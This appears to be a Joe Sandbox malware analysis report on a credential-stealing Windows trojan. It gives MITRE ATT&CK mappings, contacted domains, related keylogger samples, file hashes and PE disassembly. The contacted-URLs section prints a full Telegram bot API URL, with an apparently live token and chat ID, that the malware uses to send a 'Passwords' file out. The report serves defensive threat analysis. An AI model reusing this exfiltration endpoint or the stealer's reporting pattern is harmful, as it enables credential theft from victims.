Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_00106283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		2_2_00106283
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_00106747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		2_2_00106747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	127 System Information Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	131 Security Software Discovery	SSH	3 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2NJzy3tiny.exe	71%	ReversingLabs	Win32.Trojan.AutoitInject
2NJzy3tiny.exe	53%	Virustotal		Browse
2NJzy3tiny.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.32.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455	RegSvcs.exe, 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/c2	RegSvcs.exe, 00000005.00000002.2545513389.0000000005DE0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	RegSvcs.exe, 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	RegSvcs.exe, 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	2NJzy3tiny.exe, 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high
http://reallyfreegeoip.org	RegSvcs.exe, 00000005.00000002.2544057819.0000000002972000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	RegSvcs.exe, 00000005.00000002.2544057819.0000000002950000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	RegSvcs.exe, 00000005.00000002.2544057819.0000000002950000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544057819.0000000002944000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	RegSvcs.exe, 00000005.00000002.2544057819.0000000002950000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	RegSvcs.exe, 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000005.00000002.2544057819.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot-/sendDocument?chat_id=	2NJzy3tiny.exe, 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	2NJzy3tiny.exe, 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544057819.0000000002950000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.32.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588304
Start date and time:	2025-01-10 23:44:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2NJzy3tiny.exe renamed because original name is a hash value
Original Sample Name:	d0cc8030e79953557d7a28af708b2049f2b226fb5f8c857ade629becc1deb182.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 54 Number of non-executed functions: 271
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 52.149.20.212
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:46:09	API Interceptor	1808975x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
104.21.32.1	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
104.21.32.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php
193.122.6.168	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	PK5pHX4Gu5.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	7b4Iaf58Rp.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
checkip.dyndns.com	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PK5pHX4Gu5.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	7b4Iaf58Rp.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
api.telegram.org	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	PK5pHX4Gu5.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	VQsnGWaNi5.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
TELEGRAMRU	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
CLOUDFLARENETUS	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	xJZHVgxQul.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	Setup.exe	Get hash	malicious	Unknown	Browse	104.21.80.1
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.162.153
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.223.109
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	PK5pHX4Gu5.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	PK5pHX4Gu5.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	7b4Iaf58Rp.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
3b5074b1b5d032e5620f69f9f700ff0e	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	xJZHVgxQul.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	3j7f6Bv4FT.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	3j7f6Bv4FT.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\2NJzy3tiny.exe
File Type:	data
Category:	modified
Size (bytes):	93696
Entropy (8bit):	6.831049166843946
Encrypted:	false
SSDEEP:	1536:7T4z3GfZXRlN27Bb95ftvcP9s23llcc+0t6+tzQkPgqOoL3C58L6n7mpSIpHBS:/HhIBbf6PX1mItDS5hCAOhS
MD5:	1D1D441970EB406EED135D759FBE31D5
SHA1:	01F84ACEF864C44B9D16CA0B1C41F96951C29FE7
SHA-256:	8104B7A62998D27CD733DB284CCCE4C42FDBB3591696FD638DBED9150986511A
SHA-512:	356FF646D83C9F421DC150504B4AC84D6C1F5517FDD9DB820D715DAFE90D7149BBDB459C99FE28AFB441DC3597481C2AF3932C98538438AB4564F719B8665156
Malicious:	false
Reputation:	low
Preview:	.i.NBAPMSHDL..78.AC1QAEOsKNAAPMWHDLAM786AC1QAEO3KNAAPMWHDLAM.86AM..OE.:.o.@..v.,%2mGJY&1P<a&.]%!5a2(w:1"a$Y.r...<.!*.FCKePMWHDLA.r86.B2Q..:.KNAAPMWH.LCL<9fACUPAEG3KNAAPC.IDLaM78.@C1Q.EO.KNACPMSHDLAM782AC1QAEO3.OAARMWHDLAO7x.AC!QAUO3KNQAP]WHDLAM'86AC1QAEO3K..@P.WHDL.L7.3AC1QAEO3KNAAPMWHDLA.68:AC1QAEO3KNAAPMWHDLAM786AC1QAEO3KNAAPMWHDLAM786AC1QAEo3KFAAPMWHDLAM70.ACyQAEO3KNAAPMy<!45M78"#B1QaEO3/OAARMWHDLAM786AC1QaEOSe<233MWH.IAM7.7AC7QAE)2KNAAPMWHDLAM7x6A..#$) PKNMAPMW.ELAO786-B1QAEO3KNAAPMW.DL.M786AC1QAEO3KNAA..VHDLAM.86AA1TA].3K..APNWHD.AM1X.AC.QAEO3KNAAPMWHDLAM786AC1QAEO3KNAAPMWHDLAM786.>.^...Z8.APMWHDMCN3>>IC1QAEO3K0AAP.WHD.AM7.6AC.QAE"3KNeAPM)HDL?M78RAC1#AEORKNA.PMW'DLA#786?C1Q_Gg,KNKkvMU`dLAG7..2b1QK.N3KJ2cPM].FLAID.6AI.RAEK@oNAK.IWH@?dM72.DC1Uk.O0.XGAPV8pDLKM4.#GC1JkcO1cwAAZM}nDO.X186Zi.QC.F3KJk.#PWHBd.M72BHC1S.OO3Od_Cx.WHNfc3$86Eh1{c;[3KJjAzo)]DLEf7..?U1QEnO.i0VAPI\|HnJk/7J.MCAR.$O3Mf.APG..DLGM..6?M1QEG .KNKgz.W`.LAK7.`AC7Qi.O3MNi.PMQHl.AM18.{C..AEI3c.AAVM}.D2rM7<.F=.QAAd%5.AAT.Q0D

C:\Users\user\AppData\Local\Temp\aut801A.tmp

Download File

Process:	C:\Users\user\Desktop\2NJzy3tiny.exe
File Type:	data
Category:	dropped
Size (bytes):	69732
Entropy (8bit):	7.924773296780234
Encrypted:	false
SSDEEP:	1536:VN90j1zk17RfMnb+MCJLDLtxq2hd5jDXylT:Vols7RfUb+LJnhxqO5jDXy5
MD5:	8A2C6BB3D72A5B6CB6AF3B743223D9A1
SHA1:	A3A66F08D55206FE75B47BC3D15AE38DFACA3F1A
SHA-256:	BDB5BA4C44958CC16D26684C3CD05252782F30D2CC7E121E349278D3E43BC5A1
SHA-512:	DC9B2DE0B07CC8259FCDD3EB7F1D7A5252225872E2640F948CB7119ADF9D1448A998B92CCD32F4DDEABA6CD86D5F3C512EA9A9156EA67BF82027B3E44022CCD3
Malicious:	false
Reputation:	low
Preview:	EA06..n..Z{t....M..(....o8.Phs....O......r...Pi.y..._30..m...l..O...Xk....]...,..G.Vd.....&.Wd....e(..2+.....C....C..t.(..c.)...B.T~.....sZJe..<..4:.B.E..9...)....-@.. 4Z\|L.\..\`....P.WO..j@......:..CQ..@.....]....?........\|4..f...cf......).....3....0.Phw....g.......H.S....\..\p..@..N.<.L.`......f&..................B.N.....(..8.Kh@.?.".L..\\|z.eX........R.]...~o...N.\"..l..... ....}.s..z......6.N.....L...X.....!...P.\..".P..R..O..J...#..@.........0..~..W..ye..K...[...A..._...cQ..i.:]ec.Sk..52.I.F...N.A.....u..........7.m..9.V....6..=..V.\(..]6i...s.U..O......j.}.Q)....q6.Zbu......Z..:.^.B.....".1..i...>._..!.zE:.c..'.j-.c{...`...z..k.Je..7.E'.Y.F.n..m3....I.R-.\.oJ.Sht...IO..l.z.B....(....m?....y.P.....{.:.A...........)..B.Q.[# 3..9{..`4.-&gc..h5jm..D.\..y.j.=.Th4.$.k...j.:...p.fg.j].cb..#~@.B.g..-.P.V=...j..l.gK.Pm1.m^.D.C..y......h.[=..N..o...b.k...Q..c[.....:.E.ReV .b.a.M'V....+.E,.;.(....b....w{..@.....^X.T...E*.m&u).....Qg.:m^.n.Pi..l..C...S....C.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.911448664995453
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2NJzy3tiny.exe
File size:	994'304 bytes
MD5:	2cd4ad6cec0f7ee2bc74b42753d03645
SHA1:	cac0ff491afab77b6a3a4ff28b65e988c00b5358
SHA256:	d0cc8030e79953557d7a28af708b2049f2b226fb5f8c857ade629becc1deb182
SHA512:	f5a9ef943dad5bd431050e578620f5bdc8443b913dd55db6973f70c45905f77f7f9d3ba2e8f90c638c237bab6d0a11ae8390087584234a504fcb5cfadf00d606
SSDEEP:	24576:Iu6J33O0c+JY5UZ+XC0kGso6Fa+CTqfgMFAWY:iu0c++OCvkGs9Fa+CmTY
TLSH:	8B25BE2273DDC360CB669173BF69B3016EBF7C650630B85B2F881D79A960171262D7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	0b1888c999ad811f

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67560802 [Sun Dec 8 20:56:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F27A14E2B5Ah
jmp 00007F27A14D5924h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F27A14D5AAAh
cmp edi, eax
jc 00007F27A14D5E0Eh
bt dword ptr [004C31FCh], 01h
jnc 00007F27A14D5AA9h
rep movsb
jmp 00007F27A14D5DBCh
cmp ecx, 00000080h
jc 00007F27A14D5C74h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F27A14D5AB0h
bt dword ptr [004BE324h], 01h
jc 00007F27A14D5F80h
bt dword ptr [004C31FCh], 00000000h
jnc 00007F27A14D5C4Dh
test edi, 00000003h
jne 00007F27A14D5C5Eh
test esi, 00000003h
jne 00007F27A14D5C3Dh
bt edi, 02h
jnc 00007F27A14D5AAFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F27A14D5AB3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F27A14D5B05h
bt esi, 03h
jnc 00007F27A14D5B58h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x2a238	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf2000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

